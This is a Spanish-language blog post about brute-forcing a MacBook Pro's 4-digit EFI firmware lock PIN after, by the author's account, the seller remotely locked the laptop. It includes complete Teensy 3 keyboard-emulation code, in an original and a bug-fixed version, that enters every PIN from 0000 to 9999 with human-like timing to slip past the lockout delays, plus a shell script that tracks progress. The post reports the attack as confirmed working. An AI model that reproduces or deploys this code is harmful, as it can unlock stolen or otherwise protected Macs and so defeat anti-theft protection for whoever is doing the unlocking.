Actualizado: El código ya fue revisado y esta funcionando, Un usuario me confirmo que lo implemento en su Teensy 3 y le funciono sin problemas, Si lo que deseas es leer el código que funciona sin la historia detrás de este, solo has click aquí.

Teensy v3 usada para el ataque al EFI PIN

Dicen que de los errores se aprende así que quiero compartir este con ustedes para que se les haga mas fácil.



Un poco de historia en este caso.

Recientemente me llego una MacBook Pro que tras tres semanas de haber sido comprada el vendedor se arrepintió del negocio y decidió bloquearla con una pantalla que decía "devuelveme la laptop y te devuelvo el dinero", justo debajo de este mensaje aparecía un candado y cuatro campos que aceptaban solo caracteres numéricos.

Tanto al comprador como a mi nos pareció de mal gusto el gesto que tuvo el vendedor sobretodo cuando este pidió que se le pagara en efectivo. Así se veía justo después de prender la MacBook pro pero antes de formatear:

Captura de pantalla bloqueada por el iCloud PIN de OSX


Manos a la obra.

Como no conocía que intenciones o de lo que era capaz el vendedor decidí formatear el disco a bajo nivel, lo monte en otra maquina y le hice `dd if=/dev/random of=/dev/sdd` como por unos 30 minutos, detuve el proceso y volví a armar la MBP.

Mi sorpresa fue que al querer iniciar desde el disco de OSX para iniciar la re-instalación me salió otra pantalla donde pedía un password, esta vez no tenia limite de caracteres pero seguía siendo numérico. Investigando un poco me di cuenta que los procesos de NVRAM no funcionarían pues esta MBP era muy nueva aunque de todas formas lo intente y corrobore mi teoría.

En algunos foros sugerían que se intente cada combinación manualmente y que algunos les había tomado un par de semanas en sus ratos libres, suena bien, verdad? Pero y si el PIN es el ultimo que intento, cuanto tiempo me tomaría? y si me salto por equivocación algún numero?



Tengo 10.000 problemas pero automatizar un ataque de fuerza bruta al EFI de una Mac no es uno de ellos.

Sabiendo lo disléxico que soy y lo mucho que prefiero caminar por la playa y compartir con mi familia decidir automatizar este proceso. La lógica es simple, un contador del 0 al 9999 que siempre le de formato a la salida en forma de 4 dígitos, no es cosa del otro mundo.

Que hardware puedo usar? que módulos del kernel en Linux tengo que cargar para enviar la data desde una maquina a otra como si fuese un teclado? así se inicia mi búsqueda y mi pronta realización de que necesitaría un hardware especializado para esto.

La mayoría de nuestras computadoras son incapaces de hacer que su controladora USB se identifique como un HID (dispositivo de interfaz humana por sus siglas en ingles) por lo que no podría hacer esto desde mi computadora usando BASH o Python.

Un dispositivo que podría funcionar es una Arduino pero no sin antes armar un shield y el costo de este shield (ya teniendo el breadboard o un protoshield) es de aproximadamente unos $24 sin incluir el envió y los impuestos. La alternativa es el Teensy que con envió e impuesto me costo poco menos de $23.

El Teensy 3 termino siendo el hardware mas efectivo para esta tarea, me hubiese gustado construir el shield requerido para el Arduino pero sin mucho tiempo libre que se diga este no era opción.

Ordene el Teensy 3 por sugerencia de Paul Stoffregen, el me comentaba que la versión 3 (la mas reciente) funcionaba con 3 voltios a diferencia de los anteriores que funcionaban con 5 voltios y que la industria se estaba moviendo hacia dispositivos de 3 voltios por lo que los de 5 voltios quedarían obsoletos pronto.



El código y el ataque

Dos días después de que lo compre ya estaba en en casa y a los pocos minutos ya lo tenia corriendo una version mas simple del codigo final. Esta versión funcionaba sin problemas sobre un editor de texto plano, el detalle esta en que al intentar contra la MacBook Pro de apple no funcionaba, en ocasiones enviaba una tecla, otras enviaba 2 pero parecía nunca enviar el "enter".

Al día siguiente con la mente mas fresca y no después de un turno de 12 horas de trabajo me dispuse a atacar el problema. Alguien en Apple se gasto su tiempo para hacer esta forma de ataque lo mas difícil posible para una maquina pero a la vez lo mas amigable para un humano así que me dispuse a imitar un humano y luego de varios intentos termine con esta versión del código:

#include <usb_keyboard .h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13;
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter < = 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

Como pueden ver evito enviar los cuatro dígitos juntos y asigno distintos valores para esperar entre los eventos de presionar la tecla y soltarla así como también la espera entre dígito y dígito. Luego de unos minutos de prueba note que la MBP había incrementado el tiempo de espera entre intento e intento así que decidí asignar un valor mas alto desde el inicio.

Como no le instale una pantalla para ver por cual numero iba, decidí hacer un script el cual corro desde mi maquina con Fedora 18 que da un aproximado de que combinación esta usando ahora para el ataque. El script es simple y uso la sumatoria de los mili-segundos que estoy pasándole a delay() y el mismo valor mas un segundo, asumiendo que mi tiempo de reacción al iniciar el script es mas lento o que el ejecutar el resto de las instrucciones introduzca alguna demora. Este es el script:

while true do
  clear echo
  date start=`date +%s -d "Wed Jan 16 17:46:00"`
  current=`date +%s`
  echo "Current PIN Between: " | tr '\n' ' '
  echo "($current - $start) / 19.782" | bc | tr '\n' ' '
  echo " and " | tr '\n' ' '
  echo "($current - $start) / 18.782" | bc
  sleep 2
done

Así se vería en ejecución en mi monitor, use el tamaño de fuentes grandes para poderlo ver desde lejos sin forzar la vista.

Foto del shell script que da un estimado de que rango de números se están usando para el ataque


Buenas noticias, Malas noticias.

Lo bueno de automatizar este proceso es que tan solo me tomo cuarenta y ocho horas en enviar las diez mil combinaciones, sin olvidar ninguna y sin repetir ninguna, muchísimo menos que las tres o mas semanas que me hubiese demorado en hacerlo manualmente.

En general estoy contento, no gaste mas de 30 minutos en total programando en un lenguaje con el que no tengo practica y la Teensy funciono sin problemas.

Las malas noticias es que recorrí dos veces todas las combinaciones y no logre entrar. Al parecer al uno cambiar el disco duro, el EFI genera un nuevo password aleatorio de 6 caracteres numéricos o mas lo que en el mejor de los casos me tomaría mínimo 197 días continuos.

Usando un poco de información del vendedor me hubiese gustando intentar distintas combinaciones de su numero de teléfono, fecha de cumpleaños, etc.. pero sin muchos detalles se me es imposible esta opción.

El error estuvo en formatear el disco asumiendo que la restricción estaría solo allí, teniendo hoy en día el disco duro pudiese intentar el ataque de fuerza bruta usando el Teensy al sistema operativo. Mi consejo al comprador fue llevara a corte al vendedor o hablar en una tienda de Apple a ver que respuesta le dan aunque no espero que sea positiva.

Aquí les dejo un vídeo del ataque:



Alternativas un poco mas extremas.

En una conversión con un australiano que es especialista en pentesting macs y atacando el EFI me dice que si consigo una MBP del mismo modelo y le extraigo su firmware pudiese subírselo a la que esta bloqueada usando un programador PIC también me aseguro que el sabe la forma de arrancarla atacando el puerto del thunderbolt pero que desafortunadamente no podía comentar sobre el tema.

Pueden revisar los temas referentes a EFI en su blog via ho.ax y en especial les recomiendo esta presentación para los que tienen curiosidad sobre su trabajo http://ho.ax/posts/2012/10/ruxcon/.



UPDATE: Un bug en el código

Recientemente este articulo fue reseñado en hackaday y varios foros lo que trajo como consecuencia que mas gente revisara mi código y se percataran de un error en este (¿ven la importancia del Código Abierto?).

En las primeras lineas de código estoy enviando pin[1] dos veces y en ningún momento estoy enviando pin[0]. acabo de corregir el código y lo probé en un documento de texto plano, hasta ahora todo parece estar bien, el nuevo código es:

#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending forth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending enter
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
     delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.

Siéntanse libres de clonarlo, hacer forks y contribuir.

Voy a contactar al dueño del laptop a ver si me la puede enviar de nuevo y comenzar el ataque de nuevo, de esto no ser posible me gustaría escuchar sugerencias de como probarlo.

- Martes 12 de Marzo: Ya he recibido confirmaciones de que este código esta funcionando, Como lo pueden ver en este post de MacRumors:

Miembro de la comunidad confirma que pudo arrancar desde el DVD usando la Teensy 3 para lo que requirió entrar el PIN correcto


Comments

comments powered by Disqus